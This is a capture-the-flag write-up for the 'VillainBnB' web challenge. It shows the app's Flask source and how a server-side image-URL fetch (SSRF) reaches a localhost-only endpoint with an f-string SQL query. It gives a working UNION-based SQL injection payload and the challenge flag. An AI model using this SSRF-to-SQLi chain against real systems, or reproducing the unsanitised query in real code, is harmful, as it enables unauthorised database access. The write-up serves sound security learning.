VillainBnB
Description
VillainBnB
This is a website where Villains can get short-term rentals for their nefarious deeds. There's a flag here somewhere though, can you get it from the database?
https://uscybercombine-s4-villainbnb.chals.io/
Solution
App:

Creds: test02:test02

We get new options: Create Listing
and Your Listings
Create
let's us add new listing and Your Listing
shows items created by us.
We are given source so let's look into the code. There's 2 part of app, API and frontend itself.
API is accessible to only localhost
api_bp = Blueprint('api', __name__, url_prefix='/api')
def localhost_only(func):
@wraps(func)
def wrapper(*args, **kwargs):
if request.remote_addr != '127.0.0.1':
return jsonify({'error': 'Access denied'}), 403
return func(*args, **kwargs)
return wrapper
Create handler function:
@app.route('/create', methods=['GET', 'POST'])
@login_required
def create_listing():
if request.method == 'POST':
name = request.form['name']
description = request.form['description']
image_url = request.form['image_url']
valid_img = validate_image_url(image_url)
if valid_img != True:
flash(f'Invalid image URL. Please provide a valid image URL.\n\nResponse was:\n\n{valid_img}', 'danger')
return redirect(url_for('create_listing'))
new_listing = Listing(name=name, description=description, image_url=image_url, author=current_user)
db.session.add(new_listing)
db.session.commit()
flash('Listing created successfully!', 'success')
return redirect(url_for('index'))
return render_template('create_listing.html')
validate_image_url
function:
def validate_image_url(url):
try:
response = requests.get(url, timeout=5)
response.raise_for_status()
content_type = response.headers.get('Content-Type')
if content_type and 'image' in content_type:
return True
else:
return response.text
except requests.exceptions.RequestException:
return False
Lucky for us the request is made by server, which means we can sneak an internal url and see response. Application is kind enough to show us request response in the flash cards. Unfortunately the flash
uses Javascript and it doesn't play well in Burpsuite without valid session (just a bit of pain).
The flag is placed inside database, but no way to access it.
def initialize_database():
db.create_all()
# Add initial listings
admin_pass = secrets.token_hex(16)
user = User(username='admin', password=admin_pass)
print(f'Admin password is: {admin_pass}')
db.session.add(user)
db.session.commit()
...
db.session.add(Flag(flag=FLAG))
db.session.commit()
Most routes in application use prepared statements, but for some reason we have /api/users
endpoint which does the raw request and introduces SQLi
@api_bp.route('/users', methods=['GET'])
@localhost_only
def get_users():
username = request.args.get('username')
if username:
query = f"SELECT * FROM user WHERE username ='{username}'"
users = db.session.execute(text(query)).fetchall()
users_data = [{'id': u.id, 'username': u.username} for u in users]
return jsonify(users_data)
else:
users = User.query.all()
users_data = [{'id': u.id, 'username': u.username} for u in users]
return jsonify(users_data)
Make SQLi injection request:

Request > Right Click > Request In Browser > In Original Session

Get the flag:
http://127.0.0.1:5000/api/users?username=' UNION SELECT id,flag,NULL FROM flag-- -

Flag: SIVUSCG{whoopsies_SSRF_here!}
Last updated